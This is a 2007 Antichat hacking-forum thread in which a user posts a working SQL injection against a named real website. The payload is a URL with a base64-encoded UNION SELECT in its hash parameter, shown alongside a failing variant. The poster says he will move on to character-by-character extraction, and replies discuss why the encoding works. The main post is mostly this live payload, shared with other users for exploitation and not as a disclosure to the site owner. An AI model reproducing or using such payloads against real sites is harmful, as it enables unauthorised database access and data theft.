HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Crazy SQL :)
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Crazy SQL :)
  #1  
Старый 02.02.2007, 20:38
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


Exclamation Crazy SQL :)
Я тут потихонечку ищу новые реализации sql иньекций...
Нашел довольно забавный движок...
Очень порадовало вообщем

Рабочая иньекция.
Код:
http://www.zakachay.com/?action=regconf&hash=MTonLyoqL3VuaW9uLyoqL3NlbGVjdC8qKi8xLDIsdXNlcigpLDQsNSw2LDcsOCw5LDEvKjox
Не рабочая
Код:
http://www.zakachay.com/?action=regconf&hash=MTonLyoqL3VuaW9uLyoqL3NlbGVjdC8qKi8xLDIsbG9sZWcsNCw1LDYsNyw4LDksMS8qOjE
Реализовать можно только посимвольный перебор чем щас и займусь

Разбирайтесь
𝕏 Twitter Reddit Telegram Копировать ссылку
 
Ответить с цитированием

  #2  
Старый 02.02.2007, 20:52
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
С нами: 10223973

Репутация: 123
По умолчанию
Круто, тока я не врубаюсь, что там не даёт использовать функцию user()?
 
Ответить с цитированием

  #3  
Старый 02.02.2007, 20:59
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию
2Termin@L
ыыыыыы
 
Ответить с цитированием

  #4  
Старый 02.02.2007, 23:18
Ig-FoX
Познающий
Регистрация: 28.07.2005
Сообщений: 61
С нами: 10939825

Репутация: 19
По умолчанию
Я чтото не пойму вчем суть этой sql inj? Там параметры шыфруются и чтоли?
 
Ответить с цитированием

  #5  
Старый 02.02.2007, 23:32
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


По умолчанию
кодируються
 
Ответить с цитированием

  #6  
Старый 02.02.2007, 23:37
Ig-FoX
Познающий
Регистрация: 28.07.2005
Сообщений: 61
С нами: 10939825

Репутация: 19
По умолчанию
Для чего они воще кодируются?
 
Ответить с цитированием

  #7  
Старый 02.02.2007, 23:42
Termin@L
Участник форума
Регистрация: 07.12.2006
Сообщений: 192
С нами: 10223973

Репутация: 123
По умолчанию
base64 зашифрованный пароль, который, декодируется, и после этого вставляется в mysql запрос, я так понял служит, кк авторизация. А [cash] просто зашифровал в бэйс64, запрос с union, и всё
2 [cash] ну дак почему, ни хъя не получается, сори если туплю, вечер как никак...
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.